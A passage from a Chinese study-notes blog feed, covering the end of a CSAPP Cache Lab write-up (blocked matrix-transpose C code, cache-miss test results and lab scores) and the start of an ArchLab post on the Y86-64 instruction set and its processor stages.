-&gt; B12，先转置，后续直接平移列到 B21</span></span><br><span class="line">        B[sj + <span class="number">0</span>][i + <span class="number">4</span>] = a4;</span><br><span class="line">        B[sj + <span class="number">1</span>][i + <span class="number">4</span>] = a5;</span><br><span class="line">        B[sj + <span class="number">2</span>][i + <span class="number">4</span>] = a6;</span><br><span class="line">        B[sj + <span class="number">3</span>][i + <span class="number">4</span>] = a7;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* 这个版本会在 B 的 0~3 和 4~7 之间读写，缓存失效 */</span></span><br><span class="line">    <span class="comment">// for (int i = si + 4; i &lt; si + 8; i++)</span></span><br><span class="line">    <span class="comment">// &#123;</span></span><br><span class="line">    <span class="comment">//     // read A21 line</span></span><br><span class="line">    <span class="comment">//     a0 = A[i][sj];</span></span><br><span class="line">    <span class="comment">//     a1 = A[i][sj + 1];</span></span><br><span class="line">    <span class="comment">//     a2 = A[i][sj + 2];</span></span><br><span class="line">    <span class="comment">//     a3 = A[i][sj + 3];</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//     // read B12 column</span></span><br><span class="line">    <span class="comment">//     a4 = B[sj][i];</span></span><br><span class="line">    <span class="comment">//     a5 = B[sj + 1][i];</span></span><br><span class="line">    <span class="comment">//     a6 = B[sj + 2][i];</span></span><br><span class="line">    <span class="comment">//     a7 = B[sj + 3][i];</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//     // write A21 line to B12 column</span></span><br><span class="line">    <span class="comment">//     B[sj][i] = a0;</span></span><br><span class="line">    <span class="comment">//     B[sj + 1][i] = a1;</span></span><br><span class="line">    <span class="comment">//     B[sj + 2][i] = a2;</span></span><br><span class="line">    <span class="comment">//     B[sj + 3][i] = a3;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//     // write B21 column</span></span><br><span class="line">    <span class="comment">//     B[sj + 4][i - 4] = a4;</span></span><br><span class="line">    <span class="comment">//     B[sj + 5][i - 4] = a5;</span></span><br><span class="line">    <span class="comment">//     B[sj + 6][i - 4] = a6;</span></span><br><span class="line">    <span class="comment">//     B[sj + 7][i - 4] = a7;</span></span><br><span class="line">    <span class="comment">// &#125;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* 这个版本按列读取 A 然后按行写入 B 失效数量明显减少 */</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> j = sj; j &lt; sj + <span class="number">4</span>; j++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">// read A21 column</span></span><br><span class="line">        a0 = A[si + <span class="number">4</span>][j];</span><br><span class="line">        a1 = A[si + <span class="number">5</span>][j];</span><br><span class="line">        a2 = A[si + <span class="number">6</span>][j];</span><br><span class="line">        a3 = A[si + <span class="number">7</span>][j];</span><br><span class="line"></span><br><span class="line">        <span class="comment">// read B12 row</span></span><br><span class="line">        a4 = B[j][si + <span class="number">4</span>];</span><br><span class="line">        a5 = B[j][si + <span class="number">5</span>];</span><br><span class="line">        a6 = B[j][si + <span class="number">6</span>];</span><br><span class="line">        a7 = B[j][si + <span class="number">7</span>];</span><br><span class="line"></span><br><span class="line">        <span class="comment">// write A21 column to B12 row</span></span><br><span class="line">        B[j][si + <span class="number">4</span>] = a0;</span><br><span class="line">        B[j][si + <span class="number">5</span>] = a1;</span><br><span class="line">        B[j][si + <span class="number">6</span>] = a2;</span><br><span class="line">        B[j][si + <span class="number">7</span>] = a3;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// write B12 row to B21 row</span></span><br><span class="line">        B[j + <span class="number">4</span>][si] = a4;</span><br><span class="line">        B[j + <span class="number">4</span>][si + <span class="number">1</span>] = a5;</span><br><span class="line">        B[j + <span class="number">4</span>][si + <span class="number">2</span>] = a6;</span><br><span class="line">        B[j + <span class="number">4</span>][si + <span class="number">3</span>] = a7;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// A22 -&gt; B22, 直接转置</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = si + <span class="number">4</span>; i &lt; si + <span class="number">8</span>; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        a0 = A[i][sj + <span class="number">4</span>];</span><br><span class="line">        a1 = A[i][sj + <span class="number">4</span> + <span class="number">1</span>];</span><br><span class="line">        a2 = A[i][sj + <span class="number">4</span> + <span class="number">2</span>];</span><br><span class="line">        a3 = A[i][sj + <span class="number">4</span> + <span class="number">3</span>];</span><br><span class="line"></span><br><span class="line">        B[sj + <span class="number">4</span>][i] = a0;</span><br><span class="line">        B[sj + <span class="number">4</span> + <span class="number">1</span>][i] = a1;</span><br><span class="line">        B[sj + <span class="number">4</span> + <span class="number">2</span>][i] = a2;</span><br><span class="line">        B[sj + <span class="number">4</span> + <span class="number">3</span>][i] = a3;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">transpose_64_64</span><span class="params">(<span class="type">int</span> M, <span class="type">int</span> N, <span class="type">int</span> A[N][M], <span class="type">int</span> B[M][N])</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> block_length = <span class="number">8</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; N; i += block_length)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">0</span>; j &lt; M; j += block_length)</span><br><span class="line">        &#123;</span><br><span class="line">            transpose_block_8_for_64_64(M, N, A, B, i, j);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试得到：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">❯ ./test-trans -M 64 -N 64</span><br><span class="line"></span><br><span class="line">Function 0 (2 total)</span><br><span class="line">Step 1: Validating and generating memory traces</span><br><span class="line">Step 2: Evaluating performance (s=5, E=1, b=5)</span><br><span class="line">func 0 (Transpose submission): hits:9065, misses:1180, evictions:1148</span><br><span class="line"></span><br><span class="line">Function 1 (2 total)</span><br><span class="line">Step 1: Validating and generating memory traces</span><br><span class="line">Step 2: Evaluating performance (s=5, E=1, b=5)</span><br><span class="line">func 1 (Simple row-wise scan transpose): hits:3473, misses:4724, evictions:4692</span><br><span class="line"></span><br><span class="line">Summary for official submission (func 0): correctness=1 misses=1180</span><br><span class="line"></span><br><span class="line">TEST_TRANS_RESULTS=1:1180</span><br></pre></td></tr></table></figure><p>其实和 32*32 的过程没有太多差别，只是多了个每四行冲突的问题。</p><blockquote><p>实验工具的分析细粒度还是有点低，只有 Summary，也许有需要可以根据 trace 来具体分析吧…</p></blockquote><h4 id="6167"><a class="markdownIt-Anchor" href="#6167"></a> 61*67</h4><p>测试 4、8、16 的分块，可以发现 16 的分块效果最好，通过了…</p><blockquote><p>我还以为又有奇淫巧计，参考前人史料发现寥寥两行</p></blockquote><blockquote><p>此时 61 不是二次幂，冲突不在对角线上，或许减少？没分析…</p></blockquote><h2 id="summary"><a class="markdownIt-Anchor" href="#summary"></a> Summary</h2><blockquote><p>注意：<code>driver.py</code> 是 Python2 写的，得改成 Python3 才能运行。</p></blockquote><p>最终结果：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">❯ python3 driver.py</span><br><span class="line">Part A: Testing cache simulator</span><br><span class="line">Running ./test-csim</span><br><span class="line">                        Your simulator     Reference simulator</span><br><span class="line">Points (s,E,b)    Hits  Misses  Evicts    Hits  Misses  Evicts</span><br><span class="line">     3 (1,1,1)       9       8       6       9       8       6  traces/yi2.trace</span><br><span class="line">     3 (4,2,4)       4       5       2       4       5       2  traces/yi.trace</span><br><span class="line">     3 (2,1,4)       2       3       1       2       3       1  traces/dave.trace</span><br><span class="line">     3 (2,1,3)     167      71      67     167      71      67  traces/trans.trace</span><br><span class="line">     3 (2,2,3)     201      37      29     201      37      29  traces/trans.trace</span><br><span class="line">     3 (2,4,3)     212      26      10     212      26      10  traces/trans.trace</span><br><span class="line">     3 (5,1,5)     231       7       0     231       7       0  traces/trans.trace</span><br><span class="line">     6 (5,1,5)  265189   21775   21743  265189   21775   21743  traces/long.trace</span><br><span class="line">    27</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Part B: Testing transpose function</span><br><span class="line">Running ./test-trans -M 32 -N 32</span><br><span class="line">Running ./test-trans -M 64 -N 64</span><br><span class="line">Running ./test-trans -M 61 -N 67</span><br><span class="line"></span><br><span class="line">Cache Lab summary:</span><br><span class="line">                        Points   Max pts      Misses</span><br><span class="line">Csim correctness          27.0        27</span><br><span class="line">Trans perf 32x32           8.0         8         288</span><br><span class="line">Trans perf 64x64           8.0         8        1180</span><br><span class="line">Trans perf 61x67          10.0        10        1993</span><br><span class="line">          Total points    53.0        53</span><br></pre></td></tr></table></figure><hr /><p>这一天下来，问了无数次 AI。实测对于这些内容，训练时应该有 Cache Lab 的语料，AI 可以提供一份能通过的代码，但是没法解释清楚（起码我没听懂），未能给出关键矛盾。也许是语料里也没有分析过程吧…那这篇文章说不定也会被拿去训练？<s>不过可能因为质量太差被清洗掉吧…</s></p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/04/09/csapp/cache-lab/</id>
    <link href="https://blog.z0z0r4.top/2026/04/09/csapp/cache-lab/"/>
    <published>2026-04-09T08:43:28.021Z</published>
    <summary>
      <![CDATA[<p>这是 CSAPP Lab 记录的第五弹————CacheLab。</p>]]>
    </summary>
    <title>CSAPP Cache Lab</title>
    <updated>2026-04-09T18:48:23.209Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/CSAPP/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/tags/CSAPP/"/>
    <content>
      <![CDATA[<p>这是 CSAPP Lab 记录的第四弹————ArchLab。</p><p>!未完成</p><span id="more"></span><p>有参考 <a href="https://www.caiwen.work/post/csapp-4">https://www.caiwen.work/post/csapp-4</a></p><p>从 <a href="https://csapp.cs.cmu.edu/3e/labs.html">https://csapp.cs.cmu.edu/3e/labs.html</a> 上下载 <a href="https://csapp.cs.cmu.edu/3e/archlab-handout.tar">https://csapp.cs.cmu.edu/3e/archlab-handout.tar</a>，参考资料 <a href="https://csapp.cs.cmu.edu/3e/archlab.pdf">https://csapp.cs.cmu.edu/3e/archlab.pdf</a>。</p><hr /><p>CSAPP 定义了一套类似 x86-64 的指令集架构 Y86-64。</p><p>从 <code>0x0</code> 到 <code>0xf</code> 有 15 个寄存器，分别是 <code>%rax</code>, <code>%rcx</code>, <code>%rdx</code>, <code>%rbx</code>, <code>%rsp</code>, <code>%rbp</code>, <code>%rsi</code>, <code>%rdi</code>, <code>%r8</code>, <code>%r9</code>, <code>%r10</code>, <code>%r11</code>, <code>%r12</code>, <code>%r13</code> 和 <code>%r14</code>，<code>0xf</code> 代表无寄存器。</p><p>有以下指令：</p><ul><li><code>halt</code> -&gt; <code>0 0</code></li><li><code>nop</code> -&gt; <code>1 0</code></li><li><code>rrmovq rA, rB</code> -&gt; <code>2 0 rA rB</code></li><li><code>irmovq V, rB</code> -&gt; <code>3 0 F rB V</code></li><li><code>rmmovq rA, D(rB)</code> -&gt; <code>4 0 rA rB D</code></li><li><code>mrmovq D(rB), rA</code> -&gt; <code>5 0 rA rB D</code></li><li><code>OPq rA, rB</code> -&gt; <code>6 fn rA rB</code></li><li><code>jXX Dest</code> -&gt; <code>7 fn Dest</code></li><li><code>cmovXX rA, rB</code> -&gt; <code>2 fn rA rB</code></li><li><code>call Dest</code> -&gt; <code>8 0 Dest</code></li><li><code>ret</code> -&gt; <code>9 0</code></li><li><code>push rA</code> -&gt; <code>A 0 rA F</code></li><li><code>pop rA</code> -&gt; <code>B 0 rA F</code></li></ul><blockquote><p><code>V</code> 和 <code>D</code> 是 8 字节的立即数，<code>fn</code> 是功能码，<code>F</code> 代表无寄存器。</p></blockquote><p>其中操作指令 <code>OPq</code> 包括：</p><ul><li><code>addq</code> -&gt; <code>6 0</code></li><li><code>subq</code> -&gt; <code>6 1</code></li><li><code>andq</code> -&gt; <code>6 2</code></li><li><code>xorq</code> -&gt; <code>6 3</code></li></ul><p>分支指令 <code>jXX</code> 包括：</p><ul><li><code>jmp</code> -&gt; <code>7 0</code></li><li><code>jle</code> -&gt; <code>7 1</code></li><li><code>jl</code> -&gt; <code>7 2</code></li><li><code>je</code> -&gt; <code>7 3</code></li><li><code>jne</code> -&gt; <code>7 4</code></li><li><code>jge</code> -&gt; <code>7 5</code></li><li><code>jg</code> -&gt; <code>7 6</code></li></ul><p>移动指令 <code>cmovXX</code> 包括：</p><ul><li><code>rrmovq</code> -&gt; <code>2 0</code></li><li><code>cmovle</code> -&gt; <code>2 1</code></li><li><code>cmovl</code> -&gt; <code>2 2</code></li><li><code>cmove</code> -&gt; <code>2 3</code></li><li><code>cmovne</code> -&gt; <code>2 4</code></li><li><code>cmovge</code> -&gt; <code>2 5</code></li><li><code>cmovg</code> -&gt; <code>2 6</code></li></ul><p>此外还有条件寄存器：</p><ul><li><code>ZF</code> -&gt; zero flag（当结果为零时置位）</li><li><code>SF</code> -&gt; sign flag（当结果为负数时置位）</li><li><code>OF</code> -&gt; overflow flag（当结果溢出时置位）</li></ul><p>还有 <code>PC</code> 寄存器，保存下一个指令的地址。</p><hr /><p>逻辑门没有状态，只有输入和输出，但运算是有状态的，可以用寄存器来实现状态的保存。</p><p>但与此同时，逻辑门的耗时并不相同：假如有 <code>xor</code> 门，输入 A 的逻辑电路耗时 1s 输出为 1，输入 B 的逻辑电路耗时 2s 输出为 1（在前 2s 还是 0），那么在 1.5s 的时候，<code>xor</code> 门的输出会是 <code>1 xor 0 = 1</code>，在 2s 的时候，输出才会变成 <code>1 xor 1 = 0</code>。</p><p>设计寄存器在控制端高电平时触发采样，低电平即使输入端变更了也不更新寄存器的值。控制端接上脉冲电路，让周期为最长的逻辑门耗时，使得所有的输入都稳定了之后再更新寄存器的值。这就是时序电路。</p><blockquote><p>形象来说，就是在电路稳定时，在寄存器内保存快照。</p></blockquote><p>将指令都分为六个阶段：</p><ul><li><p>取指（Fetch）：根据 PC 寄存器中的地址，从内存中取出吓一跳要执行的指令</p></li><li><p>译码（Decode）：按照指令，取出指令中指定的寄存器的值</p></li><li><p>执行（Execute）：根据指令的功能码，执行相应的运算（包括条件寄存器、计算有效地址、计算栈指针）</p></li><li><p>访存（Memory）：RAW，读取内存和写入内存</p></li><li><p>写回（Write Back）：将结果写回寄存器堆</p></li><li><p>更新 PC（PC Update）：根据指令的类型，更新 PC 寄存器的值</p></li></ul><p>需要六个周期才能完成一条指令的执行。</p><hr /><p>CSAPP 用自己设计的 HCL 语言来设计 Y86-64 的时序电路。</p><p>要具体设计这六个阶段，首先要考虑以上的各个指令在各个阶段做了什么。</p><p>各个指令的设计是：</p><table><thead><tr><th style="text-align:left">阶段</th><th style="text-align:left"><code>OPq rA, rB</code></th><th style="text-align:left"><code>rrmovq rA, rB</code></th><th style="text-align:left"><code>irmovq V, rB</code></th></tr></thead><tbody><tr><td style="text-align:left"><strong>取指</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mo>:</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">icode:ifun \leftarrow M_1[PC]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mi>A</mi><mo>:</mo><mi>r</mi><mi>B</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">rA:rB \leftarrow M_1[PC+1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi><mo>←</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">valP \leftarrow PC+2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mo>:</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">icode:ifun \leftarrow M_1[PC]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mi>A</mi><mo>:</mo><mi>r</mi><mi>B</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">rA:rB \leftarrow M_1[PC+1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi><mo>←</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">valP \leftarrow PC+2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>c</mi><mi>o</mi><mi>d</mi><mi>e</mi><mo>:</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">icode:ifun \leftarrow M_1[PC]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal">co</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mclose">]</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mi>A</mi><mo>:</mo><mi>r</mi><mi>B</mi><mo>←</mo><msub><mi>M</mi><mn>1</mn></msub><mo stretchy="false">[</mo><mi>P</mi><mi>C</mi><mo>+</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">rA:rB \leftarrow M_1[PC+1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span 